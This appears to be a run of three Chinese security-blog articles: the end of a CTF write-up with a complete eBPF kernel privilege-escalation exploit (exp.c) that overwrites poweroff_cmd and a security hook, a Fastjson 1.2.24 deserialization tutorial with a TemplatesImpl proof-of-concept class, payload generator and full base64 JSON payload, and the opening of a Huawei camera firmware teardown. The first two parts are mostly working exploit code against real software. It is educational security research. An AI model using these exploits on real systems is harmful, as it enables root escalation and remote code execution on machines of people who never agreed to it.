wait)`。最终可以以root权限启动一个用户态的程序。
我们这里选择将`poweroff_cmd`覆写为`/bin/chmod 777 /flag`，之后用户态下查看即可
static void poweroff_work_func(struct work_struct *work)
{
__orderly_poweroff(poweroff_force);
}
//
static int __orderly_poweroff(bool force)
{
int ret;
ret = run_cmd(poweroff_cmd);//这里
if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");
/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}
return ret;
}
//
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static const char reboot_cmd[] = "/sbin/reboot";
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);//这里
argv_free(argv);
} else {
ret = -ENOMEM;
}
return ret;
}
/**
* call_usermodehelper() - prepare and start a usermode application
* @path: path to usermode executable
* @argv: arg vector for process
* @envp: environment for process
* @wait: wait for the application to finish and return status.
* when UMH_NO_WAIT don't wait at all, but you get no useful error back
* when the program couldn't be exec'ed. This makes it safe to call
* from interrupt context.
*
* This function is the equivalent to use call_usermodehelper_setup() and
* call_usermodehelper_exec().
*/
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
## exp.c
题目给的vmlinux是无符号的，调试起来非常费劲，因此我拿源码自己编译了一个带符号的，这样可以源码调试，因为编译的问题有一些函数会内联进去，IDA中搜符号搜不到，调试的时候如果搜不到，可以找上层调用函数，再自己去定位。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/prctl.h>
#include "linux/bpf.h"
#include "bpf_insn.h"
#define LOG_BUF_SIZE 65535
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_MOV64_REG((dst), BPF_REG_0) /* r_dst = (r0) */
int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];
char bpf_log_buf[LOG_BUF_SIZE];
void gen_fake_elf(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod");
system("chmod +x /tmp/chmod");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
//gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : \n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("\n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("\n[-x64dump-] end ... \n");
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx\n",num);
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version);
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries);
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);
struct bpf_insn insns[]={
BPF_LD_MAP_FD(1,3),
BPF_LD_MAP_FD(9,3), //r9 = ctrl_map_fd
BPF_MAP_GET(0,8), //r9 = ctrl_map_fd[0], r0 = &ctrl_map
BPF_MOV64_REG(6,0), //r6 = ctrl_map
BPF_ALU64_IMM(BPF_ADD,8,1), //r8 += 1
BPF_ALU64_IMM(BPF_RSH,8,1), //r8 >> 1
BPF_ALU64_IMM(BPF_LSH,8,1), //r8 << 1
BPF_ALU64_REG(BPF_ADD,8,8), //r8 += r8
BPF_ALU64_IMM(BPF_RSH,8,32), //r8 >>= 32
BPF_ALU64_IMM(BPF_MUL,8,0x110/2), //r8 *= 0x110
BPF_LD_MAP_FD(9,4), //r9 = exp_map_fd
BPF_MAP_GET_ADDR(0,7), //r7 = &exp_map
BPF_ALU64_REG(BPF_SUB,7,8), //r7 -= r8
BPF_LDX_MEM(BPF_DW,0,7,0), //r0 = [r7+0]
BPF_STX_MEM(BPF_DW,6,0,0x10), //r6+0x10 = r0 = ctrl_map[2]
BPF_LDX_MEM(BPF_DW,0,7,0xc8), //r0 = [r7+0xc0]
BPF_STX_MEM(BPF_DW,6,0,0x18), //r6+0x18 = r0 = ctrl_map[3]
BPF_ALU64_IMM(BPF_ADD,0,0x50), //r0 += 0x50 => element_addr
BPF_LDX_MEM(BPF_DW,8,6,8), //r8 = [r6+8] = ctrl_map[1]
BPF_JMP_IMM(BPF_JNE,8,0x2,4),
//arb write
BPF_STX_MEM(BPF_DW,7,0,0), //[r7] = [ops] = r0 = element_addr
BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//[ops+0x18] = BPF_MAP_TYPE_STACK
BPF_ST_MEM(BPF_W,7,0x24,-1), //max_entries
BPF_ST_MEM(BPF_W,7,0x2c,0), //locak_off
//exit
BPF_ALU64_IMM(BPF_MOV,0,0), //
BPF_EXIT_INSN(),
};
void prep(){
ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
if(ctrlmapfd<0){ __exit(strerror(errno));}
expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
if(expmapfd<0){ __exit(strerror(errno));}
printf("ctrlmapfd: %d, expmapfd: %d \n",ctrlmapfd,expmapfd);
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);
if(progfd < 0){ __exit(strerror(errno));}
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
}
void pwn(){
printf("pwning...\n");
uint32_t key = 0x0;
char *ctrlbuf = malloc(0x100);
char *expbuf = malloc(0x3000);
uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
uint64_t *expbuf64 = (uint64_t *)expbuf;
memset(ctrlbuf,'A',0x100);
for(int i=0;i<0x2000/8;i++){
expbuf64[i] = i+1;
}
ctrlbuf64[0]=0x100000000;
ctrlbuf64[1]=0x0;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
// leak
memset(ctrlbuf,0,0x100);
bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
x64dump(ctrlbuf,8);
bpf_lookup_elem(expmapfd,&key,expbuf);
x64dump(expbuf,8);
uint64_t map_leak = ctrlbuf64[2];
uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
//uint64_t kaslr = map_leak - 0xffffffff82016340;
uint64_t kaslr = map_leak - 0xffffffff82016880;
//uint64_t modprobe_path = 0xffffffff82446d80 + kaslr;
loglx("map_leak",map_leak);
loglx("elem_leak",elem_leak);
loglx("kaslr",kaslr);
//loglx("modprobe",modprobe_path);
getchar();
uint64_t fake_map_ops[]={
kaslr + 0xffffffff81162ef0,
kaslr + 0xffffffff81163df0,
0x0,
kaslr + 0xffffffff811636c0,
kaslr + 0xffffffff81162fe0, //get net key 5
0x0,
0x0,
kaslr + 0xffffffff81149240,
0x0,
kaslr + 0xffffffff81149020,
0x0,
kaslr + 0xffffffff81163060,
kaslr + 0xffffffff811635b0,
kaslr + 0xffffffff81163010,
kaslr + 0xffffffff81162fe0, //map_push_elem 15
0x0,
0x0,
0x0,
0x0,
kaslr + 0xffffffff81163310,
0x0,
kaslr + 0xffffffff81163140,
kaslr + 0xffffffff81163c60,
0x0,
0x0,
0x0,
kaslr + 0xffffffff81162f70,
kaslr + 0xffffffff81162fa0,
kaslr + 0xffffffff811630e0,
};
// overwrite bpf_map_ops
memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
bpf_update_elem(expmapfd,&key,expbuf,0);
//overwrite fake ops
ctrlbuf64[0]=0x100000000;
ctrlbuf64[1]=0x2;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
x64dump(ctrlbuf,8);
x64dump(expbuf,8);
writemsg();
//overwrite the hp->hook.task_prctl
uint64_t poweroff_work_func = 0xFFFFFFFF8108B240 + kaslr;
uint64_t poweroff_cmd = 0xFFFFFFFF82448260 + kaslr;
uint64_t hp_hook = 0xffffffff824b3fa0 + kaslr;
expbuf64[0] = (poweroff_work_func & 0xffffffff) - 1;
bpf_update_elem(expmapfd,&key,expbuf,hp_hook);
expbuf64[0] = (poweroff_work_func >> 32) - 1;
bpf_update_elem(expmapfd,&key,expbuf,hp_hook+4);
//overwite poweroff_cmd to "/bin/chmod 777 /flag"
expbuf64[0] = 0x6e69622f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd);
expbuf64[0] = 0x6d68632f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+4);
expbuf64[0] = 0x3720646f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+8);
expbuf64[0] = 0x2f203737 - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+0xc);
expbuf64[0] = 0x67616c66 - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+0x10);
//trigger
prctl(0,0);
return;
}
int main(int argc,char **argv){
init();
prep();
pwn();
return 0;
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void writemsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version){
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uint64_t)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (uint64_t)license,
.log_buf = (uint64_t)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries){
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(int fd,void *key, void *value){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
## 结束语
这道题目很好地改编了CVE，非常考验对于bpf指令检测的了解和调试，综合难度很高，再次感谢`sunichi`师傅的帮助。
## 参考
[CVE-2020-8835 pwn2own 2020 ebpf
提权漏洞分析](https://www.anquanke.com/post/id/203416)
[CVE-2020-8835 pwn2own 2020 ebpf 通过任意读写提权分析](https://xz.aliyun.com/t/7690)
[Kernel Pwn 学习之路 - 番外](https://www.anquanke.com/post/id/204319#h3-10) | 社区文章 |
# Fastjson1.2.24反序列化学习
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：江鸟@星盟
Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。
## 简单应用
### 环境
我是用idea+maven构造的，分为以下几步
1. idea新建一个maven项目
2. 修改pom.xml 引入fastjson
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
### 序列化
Ser
public class Ser {
public static void main(String[] args) {
User user = new User();
user.setName("lisi");
String jsonstring = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}
结果
setName is running ...
getName is running ...
{"@type":"User","name":"lisi"}
`SerializerFeature.WriteClassName`是`toJSONString`设置的一个属性值，设置之后在序列化的时候会多写入一个`[@type](https://github.com/type
"@type")`，即写上被序列化的类名，`type`可以指定反序列化的类，并且调用其`getter/setter/is`方法。
不加的时候结果中就没有[@type](https://github.com/type "@type")
setName is running ...
getName is running ...
{"name":"lisi"}
上面说了有parseObject和parse两种方法进行反序列化，现在来看看他们之间的区别
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
parseObject其实也是使用的parse方法，只是多了一步toJSON方法处理对象。
### 反序列化
User
/**
* @program: fastjsontest
* @description:
* @author: 江鸟
* @create: 2021-03-15 18:28
**/
public class User {
private String name;
public String getName() {
System.out.println("getName is running ...");
return name;
}
public void setName(String name) {
System.out.println("setName is running ...");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
}
Test
import com.alibaba.fastjson.JSON;
/**
* @program: fastjsontest
* @description:
* @author: 江鸟
* @create: 2021-03-15 18:29
**/
public class Test {
public static void main(String[] args) {
String json = "{\"@type\":\"User\", \"name\":\"zhangsan\"}";
Object obj = JSON.parse(json);
System.out.println(obj); //输出User{name='zhangsan'}
}
}
结果为
setName is running ...
User{name='zhangsan'}
当输出一个object类型的对象时，会通过[@type](https://github.com/type
"@type")指定的进行解析，被解析成了User类型的对象
[@type](https://github.com/type "@type")属性起的作用，
**Fastjson支持在json数据中使用[@type](https://github.com/type
"@type")属性指定该json数据被反序列为什么类型的对象**
同时控制台也输出了 setName is running … ，
**说明在反序列化对象时，会执行javabean的setter方法为其属性赋值** 。
**parse成功触发了set方法，parseObject同时触发了set和get方法**
// Object obj = JSON.parse(json); // 不调用getter方法
Object obj = JSON.parseObject(json);//都弹出计算机
## 1.2.24 反序列化
### 代码分析
通过设置断点，我们来找存在问题的漏洞代码，在测试代码Test中设置最开始的断点
`Object obj = JSON.parse(json);`
因为我们知道然后再进User中给调用的`setName`方法设置断点开始debug的时候跳转到第二个断点
往回找 找到了一个setValue方法
首先传入的是User类型，值为zhangsan，通过反射获取到类的方法名，然后调用方法进行赋值
在该方法中可以得出如下结论：
1. fileldinfo类中包含javabean的属性名称及其setter、getter等Method对象，然后通过反射的方式调用setter方法为属性赋值。
2. 当javabean中存在属性为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection类型，且fieldinfo.getOnly值为true时（当javabean的属性没有setter方法，只有getter方法时，该值为true），在反序列化时会调用该属性的getter方法。
## 漏洞利用
### TemplatesImpl攻击调用链路
如果一个类中的Getter方法满足调用条件并且存在可利用点，那么这个攻击链就产生了。
TemplatesImpl类恰好满足这个要求：
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`中存在一个名为`_outputPropertiesget`的私有变量，其getter方法中存在利用点，这个getter方法恰好满足了调用条件，在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用
poc：
/**
* @program: fastjsontest
* @description:fastjson1.2.24版本TemplatesImpl攻击调用链路
* @author: 江鸟
* @create: 2021-03-17 10:21
**/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
通过如下方式进行base64加密以及生成payload
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
POC如下
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
通过poc进行分析
调用链
首先先调用了在`JSON.java`中的`parseObject()`
com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)
public static JSONObject parseObject(String text, Feature... features) {
return (JSONObject) parse(text, features);
}
就相当于把parseObject变成了`parse(text, features)`类，并传入参数
跳转到
com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)
public static Object parse(String text, Feature... features) {
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
return parse(text, featureValues);
}
再跳到parse(String text, int features)
在这里new了一个DefaultJSONParser对象
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACE;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
} else {
lexer.nextToken(); // prime the pump
}
}
在这个对象中，主要是进行了对于传入字符串的获取操作
然后再传入parser.parseObject()来解析传入的数据
在这个函数主体内，会完成对于JSON数据的解析处理。在for循环中，不断的取得JSON数据中的值，然后进入`scanSymbol`处理。在scanSymbol中，首先会遍历取出两个双引号之间的数据作为key。
然后到了下面这句进行反序列化
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
return deserializer.deserialze(this, clazz, fieldName);
传入的参数列表
跟进函数查看
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
return deserialze(parser, type, fieldName, 0);
}
再到
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
return deserialze(parser, type, fieldName, null, features);
}
再到
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)
boolean match = parseField(parser, key, object, type, fieldValues);
之后进入parseField()调用smartMatch()对key值进行处理
之后进入了fieldDeserializer.parseField()
在这里调用了setValue方法
`com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField`
跟进之后发现这个方法中通过反射使fieldinfo的method值为outputProperties
并在接下来的循环中通过invoke方法来调用class
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进newTransformer方法
在这里主要看这个
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟进getTransletInstance()方法
`_bytecodes`会传入getTransletInstance方法中的defineTransletClasses方法，defineTransletClasses方法会根据`_bytecodes`字节数组new一个`_class`，`_bytecodes`加载到`_class`中，最后根据`_class`,用newInstance生成一个java实例。
classloader是将class字节类载入虚拟机的一种形式，为了给外界提供一种加载class的途径
载入的内容
getConstructors()：此方法用于取得全部构造方法
newInstance()创建对象用的一个方法
所以这句话的意思是，将刚才载入的`_class[_transletIndex]`获取他的全部构造方法然后创建这个对象
最后一步，就是AbstractTranslet的强制转换
到这里命令就成功执行了
## 问题解答
### 为什么要继承AbstractTranslet
在这里有一个AbstractTranslet的强制转换所以需要继承，不然会报错
### 为什么只有在设定Feature.SupportNonPublicField参数才可以反序列化成功
这个问题其实也是为什么需要设定`_tfactory={}`是一样的
在defineTransletClasses()方法中需要满足`_tfactory`变量不为null，否则导致程序异常退出
因为`_tfactory`为私有变量，且无setter方法，所以需要指定Feature.SupportNonPublicField参数
就是为了支持私有属性的传入
### 为什么要base64编码并用数组格式
根据前面的内容 在反序列化deserialze之后调用了parseField()中
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
跟进跳转
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
在这里主要是对格式进行判断
当判断`_bytecodes`为数组的格式时，进入parseArray方法
com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type,
java.util.Collection, java.lang.Object)
在这个函数时，
val = deserializer.deserialze(this, type, i);
又调用了 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
这次已经是数组提取的结果，进入了循环
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
跟进lexer.bytesValue()
位于com.alibaba.fastjson.parser.JSONScanner#bytesValue
就是一个base64解码的操作，所以我们传入的`__bytecode`需要是数组形式并base64编码
## 参考
<https://zhuanlan.zhihu.com/p/356650590>
<https://xz.aliyun.com/t/8979>
<https://www.anquanke.com/post/id/223467#h3-5> | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLab
原文链接：<https://mp.weixin.qq.com/s/tBzJH2fN2UadWxgDnpLGvg>**
## **简介**
诸位好久不见，[胖猴小玩闹]专题从这篇起将开始一个新的系列，即智能设备分析系列。旧的系列并没有结束，而且文章也已经写好了，只是在发送之前又不小心发现了一些漏洞，所以就暂且放一放吧。作为新系列的开篇，我们打算分享一下华为智联旗下的小豚AI摄像头，这也是我们在2020年某AIoT安全峰会上的分享内容。
胖猴实验室在去年某日收到了一批赞助，赞助内容为华为IoT终端奖励计划列表里面的大部分设备，如下图：
图1-1 华为终端IoT奖励计划列表
小豚AI 摄像头就是表格中的一项，而且在上图的所有设备中，小豚AI 摄像头是分析难度比较小的一款设备，比较适合与大家一起分享。
## **外部分析**
照惯例，拿到一款新设备肯定是正常使用一下，看看设备都提供什么功能、猜一猜其背后的运行逻辑。通过监听正常使用时的通信数据，可以获得手机、摄像头通信内容如下图所示：
图2-1 摄像头和手机之间的通信内容
上图中，手机和摄像头之间存在COAP协议通信数据。此部分通信仅在给摄像头配网的过程中出现，在这之后，手机和摄像头不再直接通信，而是完全由云端转发两者的通信数据，摄像头和云端的通信内容如下图所示：
图2-2 摄像头和云端之间的通信内容
可以看到，摄像头与云端的绝大部分通信都是TLS加密通信。事实上，摄像头对云端的TLS证书有校验，我们无法用简单的中间人攻击拿到通信内容。
除通信监听外，我们还对摄像头开放的tcp端口进行了扫描，截图如下：
图2-3 对摄像头进行nmap扫描
结果显示该设备并没有监听任何tcp端口，是个麻烦的设备啊。
## **硬件分析**
在此前的文章中，我们已经分析过不少设备固件了，这里就轻车熟路地开始吧。简单翻阅设备官网，可以确定固件并没有在官网提供下载链接。那就直接拆开设备看一看吧，如下图所示：
图3-1 摄像头电路板
可以看到，该设备使用hi3518ev300作为SoC，还有型号为winbond的16MB Flash存储器。
分析过华为设备的小伙伴肯定知道他们官网是没有公开海思芯片的相关资料，只有经过官方认证的组织才能拿到指定型号的芯片手册，显然我们并没有被认证。不过，万能的淘宝帮了我们一把，可以在淘宝上买到了hi3518ev300的芯片手册以及开发SDK，这些资料在后文中发挥了重要作用。
图3-2 淘宝购买全套资料
将Flash存储器用热风枪从板子上吹下来，放入编程器提取Flash内容，并将提取得到的文件交给binwalk分析一下，结果很让人满意，该分析的都分析出来了，如下图：
图3-3 binwalk分析结果
在IoT奖励计划的列表中，路由器、AI音箱2等设备都是无法直接用binwalk分析的，有机会再和大家分享那些设备的分析过程。
通过binwalk的分析结果，我们可以确定摄像头中运行了一个嵌入式Linux操作系统，那么，接下来的工作就是以某种方式登录到系统之中，由此观察系统中程序的运行状态并调试感兴趣的程序代码。虽然qemu也可以用于调试工作，但在原设备上直接分析和调试肯定是更好的选择。为了登录系统，我们踩了不少坑，这些踩坑过程我们就不在文章中复述，感兴趣的读者可以找找当时会议分享的PPT，这里直接给出我们用到的3种登录方法：串口登录、telnet登录以及反向(reverse)
shell 登录。
## **串口分析**
借助在淘宝买到的芯片手册以及万用表，就可以确定电路板上悬空的几个过孔即为SoC的UART接口，如下图：
图4-1 电路板UART接口
仅仅接通电路板上的UART接口是无法正常使用UART串口的，开启摄像头的串口还需要两步操作：其一是调整uboot在引导linux
kernel时使用的启动参数(bootargs)；其二是调整linux启动脚本中对串口的各种设置。
用16进制编辑器打开固件中的uboot部分，观察这部分固件内容，并与SDK文档中描述的uboot固件结构进行对比，如下图：
图4-2 摄像头固件结构
通过对比图4-2上下两图，可以确定起始4个字节为magic word，代表着设备启动了secure boot机制。在该机制的保护下，boot
rom代码会对uboot部分进行RSA签名校验，以防止uboot程序被篡改。紧接着4个字节代表uboot部分的总长度，在该设备中为0x036A58字节。
